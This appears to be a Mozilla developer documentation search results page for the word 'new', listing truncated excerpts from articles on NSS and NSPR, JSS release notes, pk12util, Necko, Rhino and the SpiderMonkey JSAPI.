new features that will change the way you use the web. see the list of the most critical strings for localizing in firefox, as well as a guide to understanding how they're organized. thunderbird enjoy safe, fast and easy email, mozilla-style. the thunderbird® email client includes intelligent spam filters, powerful search and customizable views. seamonkey seamonkey® is the all-in-one applicatio...
...ngs for localizing in firefox, as well as a guide to understanding how they're organized. thunderbird enjoy safe, fast and easy email, mozilla-style. the thunderbird® email client includes intelligent spam filters, powerful search and customizable views. seamonkey seamonkey® is the all-in-one application formerly known as the "mozilla application suite", containing a web browser, a mail and
newsgroups client, an html editor, web development tools, and an irc chat client. firefox mobile by adding firefox® to your mobile phone, you can access rich web content and enjoy your favorite firefox features wherever you go. lightning lightning is a popular calendaring, scheduling and task management extension. if your locale has an hg repository hosted on the mozilla servers, you can track...
...And 2 more matches
Mozilla Web Developer FAQ
for html, is to use this doctype declaration: <!doctype html> the easiest way to make sure that the almost standards mode is activated for html, is to use this doctype declaration: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the easiest way to activate the quirks mode for html is to omit the doctype declaration. however, authoring
new documents that rely on quirks is discouraged. the almost standards mode was introduced in mozilla 1.1 beta and mozilla 1.0.1. in earlier versions the doctype declarations that now activate the almost standards mode activated the standards mode. doctype sniffing only applies to documents served as text/html. documents sent as xml always activate the standards layout mode. this includes documents...
...to and its width to a value that makes the block narrower than its containing block. it is also possible, although not very likely, that you are seeing a bug. javascript doesn’t work! why? some proprietary document objects such as document.all and document.layers are not part of the w3c dom and are not supported in mozilla. (there is partial undetectable support for document.all, though, in
newer versions of mozilla. however, that functionality only exists for compatibility with sites authored specifically for ie. you should not rely on mozilla’s document.all support on
new pages.) the method document.getelementbyid() can be used instead. in the standards mode mozilla does not generate implicit top-level javascript variable bindings for elements with the id or name attribute. the cor...
...the point of having a common api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose. when working with the dom, it is better to check for the existence of the methods and objects you are planning on using. ...
...And 2 more matches
NSPR Poll Method
e. most nspr clients call pr_poll and do not call the poll method directly. however, pr_poll can only used with a stack whose bottom layer is nspr's reference implementation. if you are using your own implementation of the bottom layer, you must call the poll method as follows. declare two print16 variables to receive the return value and the out_flags output argument of the poll method. ...
...used with a stack whose bottom layer is nspr's reference implementation. if you are using your own implementation of the bottom layer, you must call the poll method as follows. declare two print16 variables to receive the return value and the out_flags output argument of the poll method. print16
new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument. ...
...t call the poll method as follows. declare two print16 variables to receive the return value and the out_flags output argument of the poll method. print16
new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument.
new_flags = fd->methods->poll(fd, pr_poll_read, &out_flags); if you are going to call pr_send, pass pr_poll_write as the in_flags argument.
new_flags = fd->methods->poll(fd, pr_poll_write, &out_flags); if you are interested in calling both pr_recv and pr_send on the same file descriptor, make two separate calls to the poll method, one with pr_poll_read as in_flags and the other with pr_poll_write as in_flags, so that you know what events at the network transport layer pr_poll_read and pr_poll_write are mapped to, respectively. on return...
...And 2 more matches
I/O Functions
ilable64 pr_sync pr_getdesctype pr_getspecialfd pr_createpipe directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket manipulation functions the network programming interface presented here is a socket api modeled after the popular berkeley sockets. differences include the following: the blocking socket functions in nspr take a timeout parameter. ...
... directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket manipulation functions the network programming interface presented here is a socket api modeled after the popular berkeley sockets. differences include the following: the blocking socket functions in nspr take a timeout parameter. two
new functions, pr_transmitfile and pr_acceptread, can exploit the
new system calls of some operating systems for higher performance. ...
...ions the network programming interface presented here is a socket api modeled after the popular berkeley sockets. differences include the following: the blocking socket functions in nspr take a timeout parameter. two
new functions, pr_transmitfile and pr_acceptread, can exploit the
new system calls of some operating systems for higher performance. ...
...And 2 more matches
4.3 Release Notes
release date: 01 april 2009 introduction network security services for java (jss) 4.3 is a minor release with the following
new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
new in jss 4.3 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3 requires nss 3.12 or higher. ...
...rtificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
new in jss 4.3 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3 requires nss 3.12 or higher.
new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type. libpkix: an rfc 3280 compliant certificate path validation library (see pkixverify) pk11token.needslogin method (see needslogin) support hmacsha256, hmacsha384, and ...
...passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type. ...
...And 2 more matches
NSS 3.15.1 release notes
introduction network security services (nss) 3.15.1 is a patch release for nss 3.15. the bug fixes in nss 3.15.1 are described in the "bugs fixed" section below. distribution information nss 3.15.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_1_rtm/src/
new in nss 3.15.1
new functionality tls 1.2: tls 1.2 (rfc 5246) is supported. hmac-sha256 cipher suites (rfc 5246 and rfc 5289) are supported, allowing tls to be used without md5 and sha-1. note the following limitations. the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, which is always sha-256 in nss 3.15.1. aes...
... (rfc 5246) is supported. hmac-sha256 cipher suites (rfc 5246 and rfc 5289) are supported, allowing tls to be used without md5 and sha-1. note the following limitations. the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, which is always sha-256 in nss 3.15.1. aes gcm cipher suites are not yet supported. ...
...rted. hmac-sha256 cipher suites (rfc 5246 and rfc 5289) are supported, allowing tls to be used without md5 and sha-1. note the following limitations. the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, which is always sha-256 in nss 3.15.1. aes gcm cipher suites are not yet supported.
new functions none. ...
...And 2 more matches
NSS 3.16.2 release notes
introduction network security services (nss) 3.16.2 is a patch release for nss 3.16. the bug fixes in nss 3.16.2 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_2_rtm. nss 3.16.2 requires nspr 4.10.6 or
newer. nss 3.16.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_rtm/src/
new in nss 3.16.2
new functionality dtls 1.2 is supported. ...
...
newer. nss 3.16.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_rtm/src/
new in nss 3.16.2
new functionality dtls 1.2 is supported. the tls application layer protocol negotiation (alpn) extension is also supported on the server side. rsa-oeap is supported. use the
new pk11_privdecrypt and pk11_pubencrypt functions with the ckm_rsa_pkcs_oaep mechanism.
new intel aes assembly code for 32-bit and 64-bit windows, contributed by shay gueron and vlad krasnov of intel.
new functions in cert.h cert_addextensionbyoid - adds an extension to a certificate. it is the same as cert_addextension except that the oid is represented by a secitem instead of a secoid...
...t_addextensionbyoid - adds an extension to a certificate. it is the same as cert_addextension except that the oid is represented by a secitem instead of a secoidtag. in pk11pub.h pk11_privdecrypt - decrypts with a private key. the algorithm is specified with a ck_mechanism_type. pk11_pubencrypt - encrypts with a public key. the algorithm is specified with a ck_mechanism_type.
new macros in sslerr.h ssl_error_next_protocol_no_callback - an ssl error code that means the next protcol negotiation extension was enabled, but the callback was cleared prior to being needed. ssl_error_next_protocol_no_protocol - an ssl error code that means the server supports no protocols that the client advertises in the alpn extension. notable changes in nss 3.16.2 the btoa c...
...And 2 more matches
NSS 3.38 release notes
when creating a certificate request (csr) using certutil -r, an existing orphan private key can be reused. ...
... when creating a certificate request (csr) using certutil -r, an existing orphan private key can be reused. ...
... when creating a certificate request (csr) using certutil -r, an existing orphan private key can be reused. ...
...And 2 more matches
NSS Sample Code Sample1
share among multiple hosts // // this example shows how to use nss functions to create and // distribute keys that need to be shared among multiple servers // or hosts. // // the management scheme assumes that one host is primary. it // generates the secret keys that will be used by all participating // hosts. the other hosts (secondary) request keys from the // primary host. as an alternative,
new keys may be sent to the // current set of secondary hosts when they are generated by the // primary. in this case, the primary maintains a list of the // secondary hosts. // // the sequence of events is: // 1. the primary host generates a
new symmetric key. this key // may be used for an encryption mechanism (des or aes) or for // integrity (md5_hmac or sha1_hmac). this key needs to be //...
...echanism (des or aes) or for // integrity (md5_hmac or sha1_hmac). this key needs to be // permanent, since it may be used during several runs of the // server. (currently nss doesn't store persistant keys. steps // 1a through 1x show how to do this). // 1a. the primary host generates an rsa keypair that will be used // store keys locally. // 1b. the primary host wraps the
newly generated key using the // rsa key and stores the wrapped key data in a local file. // 1c. the primary host unwraps the key using the rsa key each time // access to the key is required, such as at server startup. // 2. the secondary host generates an rsa keypair that will be used // to transport keys between the primary host and itself. this // key needs to exist long enough...
...use the rsa-based wrapping // methods in...
...And 2 more matches
NSS PKCS11 Functions
r obtaining certificates, keys, and passwords. this was converted from "chapter 7: pkcs #11 functions". back to the nss reference main page. secmod_loadusermodule secmod_unloadusermodule secmod_openuserdb secmod_closeuserdb pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc secmod_loadusermodule load a
new pkcs #11 module based on a modulespec. syntax #include "secmod.h" extern secmodmodule *secmod_loadusermodule(char *modulespec, secmodmodule *parent, prbool recurse); parameters this function has the following parameters: modulespec is a pkcs #11 modulespec. parent is the moduledb that presented this module spec. for applications this value should be null. recurse is a boolean indicates wheth...
...an indicates whether or not the module should also launch additional pkcs #11 modules. this is only applicable if the loaded module is actually a moduledb rather than a pkcs #11 module (see pkcs11_module_specs). returns the function returns one of these values: if successful, a pointer to a secmodmodule. caller owns the reference if unsuccessful, null. description secmod_loadusermodule loads a
new pkcs #11 module into nss and connects it to the current nss trust infrastructure. once the the module has been successfully loaded, other nss calls will use it in the normal course of searching. modulespec specifies how the module should be loaded. more information about module spec is available at pkcs11_module_specs. nss parameters may be specified in module specs used by secmod_loadusermodule.
...erdb(). syntax #include <pk11pub.h> secstatus secmod_closeuserdb(pk11slotinfo *slot) parameters this function has the following parameter: slot a pointer to a slot info structure. this slot must a a slot created by secmod_openuserdb() at some point in the past. returns the function returns one of these values: if successful, secsuccess). if unsuccessful, secfailure. secmod_openuserdb open a
new database using the softoken. syntax #include "pk11pub.h" pk11slotinfo *secmod_openuserdb(const char *modulespec) parameters this function has the following parameters: modulespec is the same data that you would pass to softoken at initialization time under the 'tokens' options. returns the function returns one of these values: if successful, a pointer to a slot. if unsuccessful, null. descr...
...And 2 more matches
NSS tools : pk12util
database to a pkcs#12 file. arguments -c keycipher specify the key encryption algorithm. -c certcipher specify the key cert (overall package) encryption algorithm. -d [sql:]directory specify the database directory into which to import to or export from certificates and keys. pk12util supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and
new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. -h tokenname specify the name of the token to import into or export from. -k slotpasswordfile specify the text file containing the slot's password. -k slotpassword specify the slot's password. -m | --key-len keylength specify the de...
...le [-h tokenname] [-v] [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] for example: # pk12util -i /tmp/cert-files/users.p12 -d sql:/home/my/sharednssdb enter a password which will be used to encrypt your keys. the password should be at least 8 characters long, and should contain at least one non-alphabetic character. enter
new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to. there are optional parameters that can be used to encrypt the file to protect...
...b has performance limitations, though, which prevent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. ...
...And 2 more matches
NSS tools : pk12util
pkcs#12 file. arguments -n certname specify the nickname of the cert and private key to export. -d [sql:]directory specify the database directory into which to import to or export from certificates and keys. pk12util supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and
new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. -p prefix specify the prefix used on the certificate and key databases. this option is provided as a special case. changing the names of the certificate and key databases i...
... tokenname] [-v] [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] for example: # pk12util -i /tmp/cert-files/users.p12 -d sql:/home/my/sharednssdb enter a password which will be used to encrypt your keys. the password should be at least 8 characters long, and should contain at least one non-alphabetic character. enter
new password: re-enter password: enter password for pkcs12 file: pk12util: pkcs12 import successful exporting keys and certificates using the pk12util command to export certificates and keys requires both the name of the certificate to extract from the database (-n) and the pkcs#12-formatted output file to write to. there are optional parameters that can be used to encrypt the fil...
...ance limitations, though, which prevent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. ...
...And 2 more matches
Necko walkthrough
nsdocshell as an example client of the nsihttpchannel api nsdocshell::loaduri(string) create nsiuri from string nsdocshell::loaduri(nsiuri) creates 2 nsiinputstream for read response from; passes them with uri to ... nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_
newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e. has onstartrequest, onstoprequest, ondataavailable, the three functions in which channel responses are received asynchronously. nshttpchannel::asyncopen called from openuri; o...
...::beginconnect() creates nshttpconnectioninfo object for the channel checks if we're proxying or not fires off the dns prefetch request (dispatched to dns thread pool) some other things nshttpchannel::connect might to a speculativeconnect (pre open tcp socket) nshttpchannel::continueconnect some cache stuff nshttpchannel::setuptransaction creates
new nshttptransaction, and inits it with mrequesthead (the request headers) and muploadstream (which was created from the request data in channel setup) gets an nsiasyncinputstream (for the response; corresponds to the nspipeinputstream for the response stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the glob...
...onse stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the global nshttphandler object, which adds the transaction to the nshttpconnectionmgr (one of these per nshttphandler). nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, nshttpconnectionmgr::onmsg
newtransaction, and the recently created nshttptransaction. dispatches the nsconnevent to the socket thread back to the context of nshttpchannel::continueconnect: nsinputstreampump->asyncread this pump calls nsiasyncinputstream::asyncwait (the input for the response stream pipe created with the nshttptransaction, i.e. nspipeinputstream::asyncwait), with target thread set to the curre...
...And 2 more matches
Rhino scopes and contexts
es for scripts executing in the same scope at the same time. if two scripts use the same scope simultaneously, the scripts are responsible for coordinating any accesses to shared variables. a top-level scope is created by calling context.initstandardobjects to create all the standard objects: scriptableobject scope = cx.initstandardobjects(); the easiest way to embed rhino is just to create a
new scope this way whenever you need one. however, initstandardobjects is an expensive method to call and it allocates a fair amount of memory. we'll see below that there are ways to share a scope created this way among multiple scopes and threads. name lookup so how are scopes used to look up names? in general, variables are looked up by starting at the current variable object (which is different ...
...prototype chain, and then traversing the parent chain. in the diagram below, the order in which the six objects are traversed is indicated. order of lookups in a two-deep scope chain with prototypes. for a more concrete example, let's consider the following script: var g = 7; function f(a) { var v = 8; x = v + a; } f(6); we have a top-level variable g, and the call to f will create a
new top-level variable x. all top-level variables are properties of the scope object. when we start executing f, the scope chain will start with the function's activation object and will end with the top-level scope (see diagram below). the activation object has two properties, 'a' for the argument, and 'v' for the variable. the top-level scope has properties for the variable g and the function f. ...
...object and will end with the top-level scope (see diagram below). the activation object has two properties, 'a' for the argument, and 'v' for the variable. the top-level scope has properties for the variable g and the function f. an example scope chain for a simple script. when the statement x = v + a; is executed, the scope chain is traversed looking for a 'x' property. when none is found, a
new property 'x' is created in the top-level scope. sharing scopes javascript is a language that uses delegation rather than traditional class-based inheritance. this is a large topic in itself, but for our purposes it gives us an easy way to share a set of read-only variables across multiple scopes. to do this we set an object's prototype. when accessing a property of an object in javascript, the...
...And 2 more matches
Creating JavaScript tests
there are two large spidermonkey test suites: jstests (in js/src/tests) and jit-tests (in js/src/jit-test). see running automated javascript tests for details. in which test suite does your
new test belong? jit-tests are intended to test the implementation of the jit. only add tests to these suites which test jit correctness or functionality. jstests is intended for tests of language-visible functionality. please put tests of functionality into jstests even if related tests are in jit-tests, since jstests are closer to (and more easily converted to) test262 tests. (in fact, the test262 test suite is run as part of jstests.) practical differences between the two test suites: jstest
new jstest files should be put the code in the appropriate subdirectory of js/src/tests/non262/,...
...e subdirectory of js/src/tests/non262/, or, under some scenarios, contributed directly to the test262 repository. jstests run in both the shell and the browser (although you can specify that the test should be run in only one of the two locations). jstests automatically load js/src/tests/shell.js before they run, which creates a ton of functions. read more advice on jstests here. jit-test
new jit-test files should be put in js/src/jit-test/tests/basic or one of the other appropriate subdirectories of jit-test/tests. jit-tests run only in the shell. jit-tests do not load extra test functionality automatically. writing a
new test file have a look at the existing files and follow what they do. all tests, in both suite, can use the asserteq function. asserteq(v1, v2[, message]) ch...
...ssible to tell if the speed of any particular feature is going to be important in the real world without running a real-world benchmark. it is very hard to write a good real-world benchmark. for this reason, the best place to find out if a change is performance sensitive is on arewefastyet.com. focus on writing fast, light tests that cover a single feature. there is basically no cost to adding a
new test, so add as many feature tests as needed to cover each feature orthogonally. remember that whenever a test fails, someone -- probably you -- is going to have to figure out what went wrong. testing your test run your
new test locally before checking it in (or posting it for review). nobody likes patches that include failing tests! see running automated javascript tests for instructions on h...
...And 2 more matches
Exact Stack Rooting
ith js_{get|set}private. do not use js_setprivate. if you see a gcpointer stored as a private, please file a bug. the private field is frequently used to store things that are not gcpointers, so the gc cannot automatically handle this slot. ...
...t's owner: this is both fragile and more expensive than using an extra reserved slot, or even just putting a
new property on the object. class fooclass = { "fooprototype", /* name */ jsclass_has_private | jsclass_has_reserved_slots(1), /* flags */ js_propertystub, /* addproperty */ js_propertystub, /* delproperty */ ... etc ... }; rootedobject obj(cx,
newobject(cx, &fooclass, nullptr(), nullptr(), &obj)); rootedvalue v(cx, object_to_value(othergcthing)); jsobject::setreservedslot(obj, 0, v); storing a gcpointer on the cheap todo: tracing and heapptr storing a gcpointer on the cstack gcpointers stored on the cstack are special. unlike other gcpointers, they are not traced as part of the gc. instead, every pointer on the cstack should be consid...
...'t explicitly rooted themselves, but are always reachable from the implicit stack roots. every use of these should be commented to explain why they are guaranteed to be rooted. js::handle<t> typedef js::handle<t> js::handlet; -> handleobject, handlestring, handlescript, etc. any single gcthing is likely to get passed through a fairly deep call-stack before getting used. even though creating a
new js::rootedt is cheap, it is silly to repeat this work for every
new call frame. to solve this, we use the standard "handle" approach. a js::handlet is a pointer to a js::rootedt. a js::rootedt will automatically convert to a js::handlet. by using js::handlet in the interface instead of direct gcpointers, we ensure that the gcthing is already rooted on some previous stack frame, freeing us from ha...
...And 2 more matches
Invariants
points set; the watchpoint machinery assumes that all objects with watched properties are native. there may be other reasons that cover more cases, but nobody can remember one.) all jsobjects and heap-allocated jsstrings must be 8-byte-aligned. (the jsval encoding depends on this.) the jsstackframe::down chain never forms a cycle. (it's a stack. ...
...n chain never forms a cycle. (it's a stack. but note that a stack frame is not necessarily
newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle. (we can probably loop forever if that happens. js_setparent can violate this, if the application is really that dumb, but generally every object is
newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object. (if it is a script function, global names accessed in that function would refer to a different global object. ...
... js_setparent can violate this, if the application is really that dumb, but generally every object is
newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object. (if it is a script function, global names accessed in that function would refer to a different global object. even if the function is native, there is serious trouble: js_
newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1. (a cycle would be very silly and could cause infloops. the same slot being allocated to more than one pro...
...And 2 more matches
JIT Optimization Strategies
ization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property access site. inline caches start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a
new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of that same kind of operation. inline caches are an order of magnitude slower than the other optimization strategies, and are an indication that the type inference engine has failed to collect enough information to guide the optimization process. setprop...
...mization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property write site. inline caches start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a
new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of that same kind of operation. inline caches are an order of magnitude slower than the other optimization strategies, and are an indication that the type inference engine has failed to collect enough information to guide the optimization process. getelem...
...mization. this strategy is used when all the others fail. the engine simply inserts an inline cache at the property write site. inline caches start off as a jump to a separate piece of code called a "fallback". the fallback calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case. if so, it generates a
new "stub" (or freestanding piece of jitcode) and changes the inline cache to jump to the stub. the stub attempts to optimize further occurrences of that same kind of operation. inline caches are an order of magnitude slower than the other optimization strategies, and are an indication that the type inference engine has failed to collect enough information to guide the optimization process. setelem...
...And 2 more matches
JS::CloneFunctionObject
this article covers features introduced in spidermonkey 38 create a
new function object from an existing jsfunction. syntax jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj); jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj, js::autoobjectvector &scopechain); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj js::handleobject the function to clone. scopechain js::autoobjectvector the
new function's scope chain. ...
... description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj js::handleobject the function to clone. scopechain js::autoobjectvector the
new function's scope chain. description js::clonefunctionobject creates a
new function object from funobj. ...
...t * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj js::handleobject the function to clone. scopechain js::autoobjectvector the
new function's scope chain. description js::clonefunctionobject creates a
new function object from funobj. the
new object has the same code and argument list as funobj. ...
...And 2 more matches
JSClass.flags
y run concurrently with the main thread then this option can be specified. it results in finalization work being offloaded to another thread which improves performance. one of jsclass_foreground_finalize and jsclass_background_finalize must be specified. jsclass_implements_barriers obsolete since jsapi 43 correctly implements gc read and write barriers. jsclass_
new_enumerate obsolete since jsapi 37 this class's enumerate hook is actually a js
newenumerateop, not a jsenumerateop. jsclass_
new_resolve obsolete since jsapi 36 this class's resolve hook is actually a js
newresolveop, not a jsresolveop. jsclass_share_all_properties obsolete since javascript 1.8.5 instructs spidermonkey to automatically give all proper...
... a js
newenumerateop, not a jsenumerateop. jsclass_
new_resolve obsolete since jsapi 36 this class's resolve hook is actually a js
newresolveop, not a jsresolveop. jsclass_share_all_properties obsolete since javascript 1.8.5 instructs spidermonkey to automatically give all properties of objects of this class the jsprop_shared attribute. jsclass_
new_resolve_gets_start obsolete since jsapi 16 the resolve hook expects to receive the starting object in the prototype chain passed in via the *objp in/out parameter. (this is meaningful only if the jsclass_
new_resolve flag is also set.) jsclass_construct_prototype obsolete since jsapi 11 instructs js_initclass to invoke the constructor when creating the class prototype. ...
... also set.) jsclass_construct_prototype obsolete since jsapi 11 instructs js_initclass to invoke the constructor when creating the class prototype. jsclass_is_extended obsolete since jsapi 17indicates that this jsclass is really a jsextendedclass. jsclass_mark_is_trace obsolete since jsapi 5 indicates that the mark hook implements the
new jstraceop signature instead of the old jsmarkop signature. this is recommended for all
new code that needs custom marking. spidermonkey reserves a few other flags for its internal use. they are jsclass_is_anonymous, jsclass_is_global, jsclass_is_proxy, and jsclass_has_cached_proto. jsapi applications should not use these flags. see also bug 527805 - removed jsclass_share_all_properties...
...And 2 more matches
JSPropertyOp
g an error or raising an exception and then returning false. the operation then fails, and the error is propagated to the caller. otherwise the callback must return true, and the property operation proceeds. getters and setters when a jsapi application creates a property on an object (for example, using js_defineproperty or js_defineproperties) it can specify getter and setter callbacks for the
new property. getters. the getter callback is called each time javascript code accesses the property's value using the syntax obj.prop or obj[propname]. it is also called when the property's value is accessed via jsapi functions such as js_getproperty or (less obviously) js_callfunctionname. on entry, *vp contains the property's stored value or undefined if the property doesn't have a stored value. ...
...tters (and sometimes setters; see js_setproperty for details) are called even when the property being accessed is found on a prototype and not on obj itself. in this case obj points to the object from which the property is being accessed, not the object on which the property was defined. ...
...see the section on getters and setters above. ...
...And 2 more matches
JS_DefineElement
index uint32_t the index of the property to define. value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double or jsval initial v...
... index uint32_t the index of the property to define. ...
... the index of the property to define. value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double or jsval initial value to assign to the property. getter jsnative or jspropertyop getproperty method for retrieving the current property value. setter jsnative or jsstrictpropertyop setproperty method for specifying a
new property value. flags unsigned property attributes. obsolete since jsapi 32 description js_defineelement defines a numeric property for a specified object, obj. index is the index of the element being defined. value is one of js::value, jsobject, jsstring, int32_t, uint32_t, or double that defines the property's initial value. getter and setter identify the getproperty an...
...And 2 more matches
JS_DefineObject
create an object that is a property of another object. syntax jsobject * js_defineobject(jscontext *cx, js::handleobject obj, const char *name, const jsclass *clasp = nullptr, unsigned attrs = 0); name type description cx jscontext * the context in which to create the
new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to which this
new object belongs as a property. name const char * name of the property being defined in obj to hold the
new object. clasp const jsclass * class to use for the
new object. proto js::handleobject prototype object to use for the
new object, or null. obsolete since jsapi 38...
... object to which this
new object belongs as a property. name const char * name of the property being defined in obj to hold the
new object. clasp const jsclass * class to use for the
new object. proto js::handleobject prototype object to use for the
new object, or null. obsolete since jsapi 38 flags unsigned property attributes for the
new property being defined. description js_defineobject creates a
new object of the class clasp and assigns it to a
new property of an existing object, obj. name is the property name to assign to obj to hold the
new object, and flags contains the property attributes to set for the
newly created property. the
new object's parent is obj. js_defineobject does not call clasp->constructor. initi...
...on error or exception (if the object cannot be created, the property already exists, or the property cannot be created), js_defineobject returns null. ...
...And 2 more matches
JS_DefineProperty
create a
new property on an object. syntax bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handlevalue value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handleobject value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, js::handlestring value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const char *name, int32_t value, unsigned attrs,...
...alue, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); name type description cx jscontext * the context in which to define the property. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object on which to create the
new property. name or id const char * or const char16_t *or js::handleid the name of the
new property. namelen size_t (only in js_defineucproperty) the length of name, in characters; or (size_t) -1 to indicate that name is null-terminated. value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double initial stored value fo...
... getter jsnative the property getter callback, which the javascript engine will call each time the property's value is accessed; or null. setter jsnative the property setter callback, which the javascript engine will call each time the property is assigned; or null. ...
...And 2 more matches
JS_ExecuteRegExp
syntax bool js_executeregexp(jscontext *cx, js::handleobject obj, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); bool js_executeregexpnostatics(jscontext *cx, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mutablehandlevalue rval); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject a pointer to a global object. ...
...cters. indexp size_t * in/out parameter. a pointer to the lastindex for the execution, and received the updated lastindex. test bool pass true to avoid creating match result array and store boolean value to rval. rval js::mutablehandlevalue out parameter. receives the result match result array or boolean value. ...
... pass true to avoid creating match result array and store boolean value to rval. rval js::mutablehandlevalue out parameter. receives the result match result array or boolean value. description js_executeregexp and js_
newregexpobjectnostatics execute the regexp object, reobj, to the specified input string, chars, from *indexp index. if test is false, js_executeregexp and js_
newregexpobjectnostatics store the match result array to *rval if matches, otherwise stores null to *rval. ...
...And 2 more matches
JS_GetParent
an object should not be passed to any other jsapi function that could expose it to script code. each object is assigned a parent when it is created: the standard library objects and functions all have the global object as their parent. objects created by standard library functions, such as array.prototype.concat, have the global object as their parent. an object created by a script via the
new keyword has the same parent as the constructor. for example, after d =
new date, d has the same parent as date, ordinarily the global object. an object created by a script via implicit conversion (the ecmascript toobject operator), an object initializer ({a: 1, b: 2}), or an array initializer ([1, 2, 3]), has the global object as its parent. the parent of a function created by evaluating a fun...
